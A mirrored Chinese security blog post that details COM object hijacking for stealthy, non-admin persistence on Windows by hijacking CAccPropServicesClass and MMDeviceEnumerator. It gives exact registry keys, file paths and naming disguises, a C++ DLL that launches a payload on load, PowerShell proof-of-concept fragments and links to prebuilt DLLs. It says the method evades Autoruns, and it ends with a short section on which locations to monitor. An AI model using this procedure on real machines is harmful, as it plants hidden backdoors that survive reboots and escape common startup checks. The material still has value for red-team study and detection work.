6

Use COM Object hijacking to maintain persistence——Hijack CAccPropServicesClass a...

 3 years ago
source link: https://3gstudent.github.io/3gstudent.github.io/Use-COM-Object-hijacking-to-maintain-persistence-Hijack-CAccPropServicesClass-and-MMDeviceEnumerator/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

Use COM Object hijacking to maintain persistence——Hijack CAccPropServicesClass and MMDeviceEnumerator

0x00 前言


在之前的文章《Use CLR to maintain persistence》介绍了通过CLR劫持所有.Net程序的方法,无需管理员权限,可用作后门。美中不足的是通过WMI添加环境变量需要重启系统。

本文将继续介绍另一种后门的利用方法,原理类似,但优点是不需要重启系统,同样也不需要管理员权限。

注:

本文介绍的方法曾被木马COMpfun使用

详细介绍地址:

https://www.gdatasoftware.com/blog/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence

0x01 简介


本文将要介绍以下内容:

  • POC编写

0x02 COM组件


  • COM是Component Object Model (组件对象模型)的缩写
  • COM组件由DLL和EXE形式发布的可执行代码所组成
  • COM与语言,平台无关
  • COM组件对应注册表中CLSID下的注册表键值

0x03 后门思路


注:

思路来自于https://www.gdatasoftware.com/blog/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence

同使用CLR劫持.Net程序的方法类似,也是通过修改CLSID下的注册表键值,实现对CAccPropServicesClass和MMDeviceEnumerator劫持,而系统很多正常程序启动时需要调用这两个实例,所以,这就可以用作后门来使用,并且,该方法也能够绕过Autoruns对启动项的检测。

32位系统利用方法:

1、新建文件

%APPDATA%\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}\下放入测试dll,重命名为api-ms-win-downlevel-[4char-random]-l1-1-0._dl

注:

测试dll下载地址:https://github.com/3gstudent/test/blob/master/calc.dll

重命名为api-ms-win-downlevel-1x86-l1-1-0._dl

Alt text

2、修改注册表

注册表位置:HKCU\Software\Classes\CLSID\

创建项{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}

创建子项InprocServer32

Default的键值为测试dll的绝对路径:

C:\Users\a\AppData\Roaming\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}\api-ms-win-downlevel-1x86-l1-1-0._dl

创建键值: ThreadingModel REG_SZ Apartment

注册表内容如下图

Alt text

3、测试

启动iexplore.exe,触发后门,多次启动calc.exe,最终导致系统死机

启动过程多次调用实例CAccPropServicesClass(),因此导致启动多个calc.exe,最终系统死机

4、优化

可以对dll加一个互斥量,防止重复加载,只启动一次calc.exe

c++代码为:

#pragma comment(linker,"/OPT:nowin98")
BOOL TestMutex()
{

	HANDLE hMutex = CreateMutex(NULL, false, "myself");  
	if (GetLastError() == ERROR_ALREADY_EXISTS)
	{
		CloseHandle(hMutex);
		return 0;  
	}
	return 1;
}
BOOL APIENTRY DllMain( HANDLE hModule, 
                       DWORD  ul_reason_for_call, 
                       LPVOID lpReserved
					 )
{
    switch (ul_reason_for_call)
	{
		case DLL_PROCESS_ATTACH:
			if(TestMutex()==0)
				return TRUE;
			WinExec("calc.exe",SW_SHOWNORMAL);
		case DLL_THREAD_ATTACH:
		case DLL_THREAD_DETACH:
		case DLL_PROCESS_DETACH:
			break;
    }return TRUE;
}

优化方法参照:https://3gstudent.github.io/3gstudent.github.io/Use-Office-to-maintain-persistence/

编译后大小3k,如果多次加载该dll,会因为互斥量导致只加载一次,也就是说只启动一次calc.exe

编译好的dll下载地址:

https://github.com/3gstudent/test/blob/master/calcmutex.dll

换用新的dll,再次测试,只启动一次calc.exe,如下图

Alt text

64位系统利用方法:

1、新建文件

%APPDATA%\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}\下分别放入32位和64位的测试dll

32位dll下载地址:

https://github.com/3gstudent/test/blob/master/calcmutex.dll

重命名为api-ms-win-downlevel-1x86-l1-1-0._dl

64位dll下载地址:

https://github.com/3gstudent/test/blob/master/calcmutex_x64.dll

重命名为api-ms-win-downlevel-1x64-l1-1-0._dl

2、修改注册表

注册表位置:HKCU\Software\Classes\CLSID\

创建项{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}

创建子项InprocServer32

Default的键值为64位dll的绝对路径:

C:\Users\a\AppData\Roaming\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}\api-ms-win-downlevel-1x64-l1-1-0._dl

创建键值: ThreadingModel REG_SZ Apartment

注册表内容如下图

Alt text

注册表位置:HKCU\Software\Classes\Wow6432Node\CLSID\

创建项{BCDE0395-E52F-467C-8E3D-C4579291692E}

创建子项InprocServer32

Default的键值为32位dll路径:

C:\Users\a\AppData\Roaming\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}\api-ms-win-downlevel-1x86-l1-1-0._dl

创建键值: ThreadingModel REG_SZ Apartment

注册表内容如下图

Alt text

3、测试

分别启动32位和64位的iexplore.exe,均可触发后门,启动一次calc.exe

注:

{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}对应CAccPropServicesClass

参考链接:

https://msdn.microsoft.com/en-us/library/accessibility.caccpropservicesclass(v=vs.110).aspx?cs-save-lang=1&cs-lang=cpp#code-snippet-1

{BCDE0395-E52F-467C-8E3D-C4579291692E}对应MMDeviceEnumerator

参考链接:

http://msdn.microsoft.com/en-us/library/windows/desktop/dd316556%28v=vs.85%29.aspx

0x04 POC编写


POC开发需要注意的细节:

1、操作默认不一定包含文件夹

需要先判断文件夹%APPDATA%\Microsoft\Installer\ 如果没有,在%APPDATA%\Microsoft\下创建文件夹Installer

if((Test-Path %APPDATA%\Microsoft\Installer\) -eq 0)
{
	Write-Host "[+] Create Folder:  $env:APPDATA\Microsoft\Installer\"
	new-item -path $env:APPDATA\Microsoft\ -name Installer -type directory
}

2、创建文件夹{BCDE0395-E52F-467C-8E3D-C4579291692E}

由于包含特殊字符{},需要双引号包含路径

if((Test-Path "%APPDATA%\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}") -eq 0)
{
	Write-Host "[+] Create Folder:  $env:APPDATA\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}"
	new-item -path $env:APPDATA\Microsoft\Installer -name {BCDE0395-E52F-467C-8E3D-C4579291692E} -type directory
}

3、创建payload文件

首先判断操作系统

if ([Environment]::Is64BitOperatingSystem)
{
        Write-Host "[+] OS: x64"       
}
else
{
        Write-Host "[+] OS: x86"
}

不同系统释放不同文件

释放文件依旧使用base64,可参考文章:https://3gstudent.github.io/3gstudent.github.io/Use-Office-to-maintain-persistence/

4、创建注册表

修改注册表默认值,如下图

Alt text

在powershell下,需要使用特殊变量"(default)"

$RegPath="HKCU:Software\Classes\CLSID\"
New-ItemProperty $RegPath"{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\InprocServer32" "(default)" -value $env:APPDATA"\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}\api-ms-win-downlevel-1x86-l1-1-0._dl" -propertyType string | Out-Null

完整POC已上传至Github,地址为:https://github.com/3gstudent/COM-Object-hijacking

0x05 防御检测


结合利用方法,注意监控以下位置:

1、注册表键值

  • HKCU\Software\Classes\CLSID{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\
  • HKCU\Software\Classes\Wow6432Node\CLSID{BCDE0395-E52F-467C-8E3D-C4579291692E }

2、文件路径

%APPDATA%\Roaming\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}\

命名方式:api-ms-win-downlevel-[4char-random]-l1-1-0._dl

0x06 小结


本文介绍了通过COM Object hijacking实现的后门利用方法,使用powershell脚本编写POC,分享POC开发中需要注意的细节,结合实际利用过程分析该后门的防御方法。


LEAVE A REPLY

Written on August 4, 2017

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK